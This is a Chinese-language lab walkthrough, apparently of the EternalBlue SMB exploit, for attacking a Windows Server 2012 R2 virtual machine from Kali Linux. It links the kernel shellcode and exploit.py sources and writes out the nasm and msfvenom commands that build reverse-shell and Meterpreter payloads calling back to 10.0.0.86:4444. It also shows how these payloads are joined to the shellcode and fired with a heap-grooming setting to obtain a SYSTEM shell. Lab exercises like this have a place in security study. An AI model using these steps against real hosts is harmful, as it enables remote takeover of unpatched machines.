这里我们简单地进行测试,我们需要一个kali2017.1
的虚拟机,以及一个Windows 2012 R2
的目标靶机虚拟机。
图一 Windows 2012 R2(x64)
该漏洞可以在低权限下被利用,这种前提条件需要获得目标靶机的普通用户登录凭据(用户名和密码),一旦该漏洞被利用总会收到一个system权限的终端。
图二 创建一个普通账号test
图三 启用来宾用户guest
要理解这个漏洞如何被利用,我们必须考虑这三种类型的文件,以及我们如何创建这些文件:
Exploit
Kernel Shellcode
Userland Shellcode
图四 第一种流程图
图五 第二种流程图
我们首先要创建一个Kernel Shellcode
,可从下面地址中获得:
https://gist.github.com/worawit/05105fce9e126ac9c85325f0b05d6501#file-eternalblue_x64_kshellcode-asm
将下载的代码复制粘贴另存为kernel_shell_x64.asm
,为了执行它,我们将执行这个命令:
nasm -f bin kernel_shell_x64.asm
因此,它将生成一个名为kernel_shell_x64
的文件 :
图六 创建 kernel_shell_x64
下一步是要创建一个 普通用户的Shellcode
(为了简化,它会创建一个二进制文件,其中将包含我们的有效载荷)我们需要使用工具msfvenom
它将创建两种类型的有效负载:
Meterpreter
反向tcp的有效载荷:
msfvenom -p windows/x64/shell/reverse_tcp -f raw -o shell_msf.bin EXITFUNC=thread LHOST=10.0.0.86 LPORT=4444
图片七 创建反向tcp的有效载荷
反向msf的有效载荷Meterpreter:
msfvenom -p windows/x64/meterpreter/reverse_tcp -f raw -o meterpreter_msf.bin EXITFUNC=thread LHOST=10.0.0.86 LPORT=4444
图八 msf的有效载荷Meterpreter
一旦创建了有效载荷,我们应该把每一个与kernel_shell_x64
文件连接起来, 这样我们将生成新的二进制文件:
cat kernel_shell_x64 shell_msf.bin> reverse_shell.bin
图九 生成reverse_shell.bin
图十 生成meterpreter.bin
我们创建一个名为binaries
的文件夹,我们将文件meterpreter.bin
和reverse_shell.bin
复制到该文件下。
mkdir binarios
cp reverse_shell.bin meterpreter.bin binarios/
cd binarios/
ls
图十一 创建二进制文件夹和复制文件
Exploit.py
创建文件,代码可以从该链接下载:
https://gist.github.com/worawit/074a27e90a3686506fc586249934a30e
图十二 创建exploit.py文件
在下面配置中我们可以使用普通用户权限的账号也可以用来宾账号(如需要来宾则需要启用guest账号)进行修改测试。
图十四 test用户Exploit.py配置
图十五 shell监听反弹(Payload: windows/x64/shell/reverse_tcp
)
图十六 msf监听反弹(Payload: windows/x64/meterpreter/reverse_tcp
)
在这一步中,我们将使用exploit.py
和包含反向shell
或meterpreter
负载会话的二进制文件进行攻击。值为“500”
的参数对应于“numGroomConn”
。调整连接数量“Groom”
有助于在内核中实现连续的内存池,以便覆盖缓冲区结束我们想要的位置,并实现正确的shellcode
执行。
图十七 利用负载reverse_shell.bin
图十八 利用有效载荷meterpreter.bin
图十九 获取目标终端shell
图二十 有效载荷Meterpreter的shell